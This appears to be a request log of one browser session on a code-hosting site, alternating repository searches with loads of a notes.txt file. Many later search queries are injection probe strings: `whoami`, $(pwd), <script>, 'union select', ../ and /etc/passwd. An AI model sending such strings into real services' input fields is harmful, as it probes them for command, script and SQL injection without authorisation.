{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
